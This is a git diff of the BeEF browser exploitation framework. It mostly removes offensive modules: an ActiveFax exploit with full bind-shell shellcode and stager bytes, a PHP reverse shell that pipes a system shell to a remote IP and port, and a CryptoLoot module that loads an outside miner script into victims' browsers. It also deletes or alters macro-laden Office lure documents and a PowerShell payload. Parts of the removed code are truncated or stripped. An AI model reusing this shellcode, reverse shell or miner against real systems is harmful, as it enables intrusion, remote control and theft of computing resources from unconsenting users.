diff --git a/.travis.yml b/.travis.yml index 4b627d322..3ede06cbf 100644 --- a/.travis.yml +++ b/.travis.yml @@ -10,6 +10,10 @@ notifications: - wade@bindshell.net on_success: always on_failure: always +# safelist +branches: + only: + - master addons: apt: packages: diff --git a/extensions/social_engineering/powershell/msoffice_docs/Document.docm.doc b/extensions/social_engineering/powershell/msoffice_docs/Document.docm.doc deleted file mode 100755 index e08e23815..000000000 Binary files a/extensions/social_engineering/powershell/msoffice_docs/Document.docm.doc and /dev/null differ diff --git a/extensions/social_engineering/powershell/msoffice_docs/Worksheet.xlsm b/extensions/social_engineering/powershell/msoffice_docs/Worksheet.xlsm deleted file mode 100755 index 5622a65e0..000000000 Binary files a/extensions/social_engineering/powershell/msoffice_docs/Worksheet.xlsm and /dev/null differ diff --git a/extensions/social_engineering/powershell/powershell_payload b/extensions/social_engineering/powershell/powershell_payload index 04e127ad1..8aa5e99f9 100644 Binary files a/extensions/social_engineering/powershell/powershell_payload and b/extensions/social_engineering/powershell/powershell_payload differ diff --git a/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/command.js b/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/command.js deleted file mode 100644 index f3a251222..000000000 --- a/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/command.js +++ /dev/null @@ -1,76 +0,0 @@ -// -// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net -// Browser Exploitation Framework (BeEF) - http://beefproject.com -// See the file 'doc/COPYING' for copying permission -// - -beef.execute(function () { -var rhost = '<%= @rhost %>'; -var rport = '<%= @rport %>'; -var service_port = '<%= @service_port %>'; -var jmpesp = '<%= @jmpesp %>'; - -// BeEF Bind stager, listen on 4444 -var shellcode = '\xd9\xc2\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x79\x6c\x6d\x38\x6c\x49\x63\x30\x53\x30\x63\x30\x73\x50\x6f\x79\x68\x65\x65\x61\x5a\x72\x65\x34\x4c\x4b\x31\x42\x76\x50\x6c\x4b\x43\x62\x34\x4c\x6e\x6b\x63\x62\x55\x44\x6e\x6b\x52\x52\x35\x78\x54\x4f\x4c\x77\x31\x5a\x67\x56\x55\x61\x6b\x4f\x64\x71\x59\x50\x4c\x6c\x65\x6c\x43\x51\x31\x6c\x74\x42\x56\x4c\x31\x30\x6b\x71\x7a\x6f\x44\x4d\x37\x71\x39\x57\x69\x72\x6a\x50\x32\x72\x56\x37\x4c\x4b\x53\x62\x32\x30\x4e\x6b\x47\x32\x77\x4c\x66\x61\x48\x50\x6e\x6b\x57\x30\x34\x38\x4c\x45\x6b\x70\x72\x54\x53\x7a\x37\x71\x68\x50\x72\x70\x4e\x6b\x70\x48\x32\x38\x4c\x4b\x46\x38\x45\x70\x53\x31\x59\x43\x7a\x43\x65\x6c\x62\x69\x6e\x6b\x75\x64\x4c\x4b\x47\x71\x48\x56\x75\x61\x6b\x4f\x36\x51\x4b\x70\x6e\x4c\x6f\x31\x7a\x6f\x74\x4d\x53\x31\x68\x47\x70\x38\x79\x70\x62\x55\x68\x74\x65\x53\x71\x6d\x78\x78\x67\x4b\x53\x4d\x57\x54\x30\x75\x48\x62\x50\x58\x6e\x6b\x56\x38\x55\x74\x53\x31\x5a\x73\x71\x76\x6e\x6b\x64\x4c\x72\x6b\x4e\x6b\x76\x38\x35\x4c\x35\x51\x49\x43\x4e\x6b\x37\x74\x4c\x4b\x55\x51\x6a\x70\x6b\x39\x71\x54\x37\x54\x65\x74\x63\x6b\x61\x4b\x30\x61\x53\x69\x63\x6a\x63\x61\x69\x6f\x4d\x30\x32\x78\x31\x4f\x30\x5a\x6c\x4b\x55\x42\x6a\x4b\x4d\x56\x73\x6d\x50\x68\x50\x33\x56\x52\x33\x30\x45\x50\x51\x78\x44\x37\x31\x63\x46\x52\x31\x4f\x70\x54\x62\x48\x70\x4c\x34\x37\x47\x56\x36\x67\x6b\x4f\x68\x55\x6f\x48\x4a\x30\x63\x31\x45\x50\x73\x30\x51\x39\x4f\x34\x36\x34\x52\x70\x42\x48\x75\x79\x4f\x70\x42\x4b\x67\x70\x59\x6f\x49\x45\x76\x30\x36\x30\x66\x30\x32\x70\x77\x30\x72\x70\x77\x30\x62\x70\x65\x38\x68\x6a\x36\x6f\x79\x4f\x6d\x30\x79\x6f\x5a\x75\x7a\x37\x45\x61\x69\x4b\x76\x33\x45\x38\x53\x32\x73\x30\x34\x51\x43\x6c\x6b\x39\x6a\x46\x31\x7a\x52\x30\x70\x56\x31\x47\x51\x78\x49\x52\x49\x4b\x56\x57\x51\x77\x4b\x4f\x58\x55\x76\x33\x31\x47\x42\x48\x48\x37\x78\x69\x34\x78\x49\x6f\x79\x6f\x79\x45\x32\x73\x51\x43\x72\x77\x72\x48\x63\x44\x48\x6c\x47\x4b\x6b\x51\x4b\x4f\x48\x55\x63\x67\x4c\x57\x63\x58\x33\x45\x72\x4e\x42\x6d\x43\x51\x39\x6f\x49\x45\x4f\x4b\x37\x70\x62\x30\x73\x30\x67\x70\x42\x4a\x77\x30\x76\x33\x61\x43\x31\x7a\x77\x70\x33\x58\x61\x48\x4f\x54\x53\x63\x4a\x45\x79\x6f\x78\x55\x6d\x59\x49\x56\x50\x6a\x57\x70\x43\x63\x70\x50\x72\x77\x43\x58\x55\x52\x6a\x79\x78\x48\x43\x6f\x4b\x4f\x5a\x75\x43\x67\x63\x58\x6f\x36\x4f\x66\x4e\x67\x56\x32\x59\x6f\x79\x45\x6d\x51\x47\x4e\x45\x33\x62\x4d\x72\x44\x45\x6d\x53\x44\x75\x53\x52\x66\x38\x6b\x48\x75\x6c\x43\x4a\x66\x36\x64\x6b\x4f\x69\x76\x41\x41'; - -var stage = '\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xbb\x00\x10\x00\x00\x6a\x40\x53\x53\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x89\xc6\x68\x01\x00\x00\x00\x68\x00\x00\x00\x00\x68\x0c\x00\x00\x00\x68\x00\x00\x00\x00\x89\xe3\x68\x00\x00\x00\x00\x89\xe1\x68\x00\x00\x00\x00\x8d\x7c\x24\x0c\x57\x53\x51\x68\x3e\xcf\xaf\x0e\xff\xd5\x68\x00\x00\x00\x00\x89\xe3\x68\x00\x00\x00\x00\x89\xe1\x68\x00\x00\x00\x00\x8d\x7c\x24\x14\x57\x53\x51\x68\x3e\xcf\xaf\x0e\xff\xd5\x8b\x5c\x24\x08\x68\x00\x00\x00\x00\x68\x01\x00\x00\x00\x53\x68\xca\x13\xd3\x1c\xff\xd5\x8b\x5c\x24\x04\x68\x00\x00\x00\x00\x68\x01\x00\x00\x00\x53\x68\xca\x13\xd3\x1c\xff\xd5\x89\xf7\x68\x63\x6d\x64\x00\x89\xe3\xff\x74\x24\x10\xff\x74\x24\x14\xff\x74\x24\x0c\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xfe\xb9\xf8\x0f\x00\x00\x8d\x46\x08\xc6\x00\x00\x40\xe2\xfa\x56\x8d\xbe\x18\x04\x00\x00\xe8\x62\x00\x00\x00\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x32\x30\x30\x20\x4f\x4b\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x0d\x0a\x41\x63\x63\x65\x73\x73\x2d\x43\x6f\x6e\x74\x72\x6f\x6c\x2d\x41\x6c\x6c\x6f\x77\x2d\x4f\x72\x69\x67\x69\x6e\x3a\x20\x2a\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74\x68\x3a\x20\x33\x30\x31\x36\x0d\x0a\x0d\x0a\x5e\xb9\x62\x00\x00\x00\xf3\xa4\x5e\x56\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x81\xc4\xa0\x01\x00\x00\x5e\x89\x3e\x6a\x00\x68\x00\x04\x00\x00\x89\xf3\x81\xc3\x08\x00\x00\x00\x53\xff\x36\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x54\x24\x64\xb9\x00\x04\x00\x00\x81\x3b\x63\x6d\x64\x3d\x74\x06\x43\x49\xe3\x3a\xeb\xf2\x81\xc3\x03\x00\x00\x00\x43\x53\x68\x00\x00\x00\x00\x8d\xbe\x10\x04\x00\x00\x57\x68\x01\x00\x00\x00\x53\x8b\x5c\x24\x70\x53\x68\x2d\x57\xae\x5b\xff\xd5\x5b\x80\x3b\x0a\x75\xda\x68\xe8\x03\x00\x00\x68\x44\xf0\x35\xe0\xff\xd5\x31\xc0\x50\x8d\x5e\x04\x53\x50\x50\x50\x8d\x5c\x24\x74\x8b\x1b\x53\x68\x18\xb7\x3c\xb3\xff\xd5\x85\xc0\x74\x44\x8b\x46\x04\x85\xc0\x74\x3d\x68\x00\x00\x00\x00\x8d\xbe\x14\x04\x00\x00\x57\x68\x86\x0b\x00\x00\x8d\xbe\x7a\x04\x00\x00\x57\x8d\x5c\x24\x70\x8b\x1b\x53\x68\xad\x9e\x5f\xbb\xff\xd5\x6a\x00\x68\xe8\x0b\x00\x00\x8d\xbe\x18\x04\x00\x00\x57\xff\x36\x68\xc2\xeb\x38\x5f\xff\xd5\xff\x36\x68\xc6\x96\x87\x52\xff\xd5\xe9\x38\xfe\xff\xff'; - -var adjust = '\x81\xc4\x24\xfa\xff\xff'; - -log = function(data){ - beef.net.send("<%= @command_url %>", <%= @command_id %>, data); - beef.debug(data); - }; - -sendpayload = function(payload, uri, timeout, logdata){ - var xhr = new XMLHttpRequest(); - // for WebKit-based browsers - if (!XMLHttpRequest.prototype.sendAsBinary) { - XMLHttpRequest.prototype.sendAsBinary = function (sData) { - var nBytes = sData.length, ui8Data = new Uint8Array(nBytes); - for (var nIdx = 0; nIdx < nBytes; nIdx++) { - ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff; - } - /* send as ArrayBufferView...: */ - this.send(ui8Data); - }; - } - xhr.open("POST", uri, true); - xhr.setRequestHeader("Content-Type", "text/plain"); - xhr.setRequestHeader('Accept','*/*'); - xhr.setRequestHeader("Accept-Language", "en"); -    xhr.sendAsBinary(post_body); - if (timeout>0) { - setTimeout(function(){xhr.abort();log(logdata);}, timeout); - } else { - log(logdata); - } -}; - -var shellcode_chunk_1 = shellcode.slice(0,554); -var shellcode_chunk_2 = shellcode.slice(554, shellcode.length); - -function genJunk(c, length){ - var temp = ""; - for(var i=0;i - - - - - - - - - - - - - - - - - diff --git a/modules/exploits/local_host/ie_ms13_069_caret/ie_ms13_069_caret.html b/modules/exploits/local_host/ie_ms13_069_caret/ie_ms13_069_caret.html index 150522cdc..c4f76804c 100644 --- a/modules/exploits/local_host/ie_ms13_069_caret/ie_ms13_069_caret.html +++ b/modules/exploits/local_host/ie_ms13_069_caret/ie_ms13_069_caret.html @@ -2,75 +2,7 @@ diff --git a/modules/exploits/m0n0wall/php-reverse-shell.php b/modules/exploits/m0n0wall/php-reverse-shell.php deleted file mode 100644 index e557dee63..000000000 --- a/modules/exploits/m0n0wall/php-reverse-shell.php +++ /dev/null @@ -1,204 +0,0 @@ - array("pipe", "r"), // stdin is a pipe that the child will read from - 1 => array("pipe", "w"), // stdout is a pipe that the child will write to - 2 => array("pipe", "w") // stderr is a pipe that the child will write to -); - -$process = proc_open($shell, $descriptorspec, $pipes); - -if (!is_resource($process)) { - printit("ERROR: Can't spawn shell"); - exit(1); -} - -// Set everything to non-blocking -// Reason: Occsionally reads will block, even though stream_select tells us they won't -stream_set_blocking($pipes[0], 0); -stream_set_blocking($pipes[1], 0); -stream_set_blocking($pipes[2], 0); -stream_set_blocking($sock, 0); - -printit("Successfully opened reverse shell to $ip:$port"); - -while (1) { - // Check for end of TCP connection - if (feof($sock)) { - printit("ERROR: Shell connection terminated"); - break; - } - - // Check for end of STDOUT - if (feof($pipes[1])) { - printit("ERROR: Shell process terminated"); - break; - } - - // Wait until a command is end down $sock, or some - // command output is available on STDOUT or STDERR - $read_a = array($sock, $pipes[1], $pipes[2]); - $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); - - // If we can read from the TCP socket, send - // data to process's STDIN - if (in_array($sock, $read_a)) { - if ($debug) printit("SOCK READ"); - $input = fread($sock, $chunk_size); - if ($debug) printit("SOCK: $input"); - fwrite($pipes[0], $input); - } - - // If we can read from the process's STDOUT - // send data down tcp connection - if (in_array($pipes[1], $read_a)) { - if ($debug) printit("STDOUT READ"); - $input = fread($pipes[1], $chunk_size); - if ($debug) printit("STDOUT: $input"); - fwrite($sock, $input); - } - - // If we can read from the process's STDERR - // send data down tcp connection - if (in_array($pipes[2], $read_a)) { - if ($debug) printit("STDERR READ"); - $input = fread($pipes[2], $chunk_size); - if ($debug) printit("STDERR: $input"); - fwrite($sock, $input); - } -} - -fclose($sock); -fclose($pipes[0]); -fclose($pipes[1]); -fclose($pipes[2]); -proc_close($process); - -// Like print, but does nothing if we've daemonised ourself -// (I can't figure out how to redirect STDOUT like a proper daemon) -function printit ($string) { - if (!$daemon) { - print "$string\n"; - } -} - -?> - - - diff --git a/modules/misc/cryptoloot_miner/command.js b/modules/misc/cryptoloot_miner/command.js deleted file mode 100644 index 1d4050b27..000000000 --- a/modules/misc/cryptoloot_miner/command.js +++ /dev/null @@ -1,79 +0,0 @@ -// -// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net -// Browser Exploitation Framework (BeEF) - http://beefproject.com -// See the file 'doc/COPYING' for copying permission -// -// Crypto-Loot integration, Zaur Molotnikov, 2017 -// Only for the use for test purposes! -// Inspired by coinhive integration (copied and modified) -// - -beef.execute(function() { - var comm_url = '<%= @command_url %>'; - var comm_id = <%= @command_id %>; - var report_interval = +(<%= @report_interval %>) * 1000; // to miliseconds - - if (!beef.browser.hasWebSocket()) { - beef.debug('[CryptoLoot] Error: browser does not support WebSockets'); - beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebSockets", beef.are.status_error()); - return; - } - - if (!beef.browser.hasWebWorker()) { - beef.debug('[CryptoLoot] Error: browser does not support WebWorkers'); - beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebWorkers", beef.are.status_error()); - return; - } - - beef.debug("[CryptoLoot] Loading library..."); - beef.net.send(comm_url, comm_id, "[CryptoLoot] Loading library..."); - beef.dom.loadScript('https://crypto-loot.com/lib/miner.min.js'); - - try { - setTimeout("mine('<%= @public_token %>')", 10000); - } catch(e) { - beef.debug("[CryptoLoot] Error loading miner: " + e.message); - beef.net.send(comm_url, comm_id, 'error=' + e.message, beef.are.status_error()); - return; - } - - mine = function(token) { - beef.debug("[CryptoLoot] Starting the miner..."); - beef.net.send(comm_url, comm_id, 'result=Starting the miner...'); - - try { - var miner = new CryptoLoot.Anonymous(token); - miner.start(); - } catch(e) { - beef.debug("[CryptoLoot] Error starting miner: " + e.message); - beef.net.send(comm_url, comm_id, 'error=' + e.message, beef.are.status_error()); - return; - } - - beef.debug("[CryptoLoot] setting triggers"); - - miner.on('found', function() { - beef.debug("[CryptoLoot] Hash found"); - }); - beef.debug("[CryptoLoot] 'found' trigger set"); - - miner.on('accepted', function() { - beef.debug("[CryptoLoot] Hash accepted by the pool"); - }); - beef.debug("[CryptoLoot] 'accepted' trigger set"); - - - setInterval(function() { - beef.debug("[CryptoLoot] Miner progress:"); - beef.net.send(comm_url, comm_id, "[CryptoLoot] Miner progress:"); - if (miner.isRunning()) { - var hashesPerSecond = miner.getHashesPerSecond(); - var totalHashes = miner.getTotalHashes(); - var acceptedHashes = miner.getAcceptedHashes(); - beef.debug("[CryptoLoot] Total Hashes: " + totalHashes + " -- Accepted Hashes: " + acceptedHashes + " -- Hashes/Second: " + hashesPerSecond); - beef.net.send(comm_url, comm_id, "[CryptoLoot] Total Hashes: " + totalHashes + " -- Accepted Hashes: " + acceptedHashes + " -- Hashes/Second: " + hashesPerSecond); - } - }, report_interval) - - } -});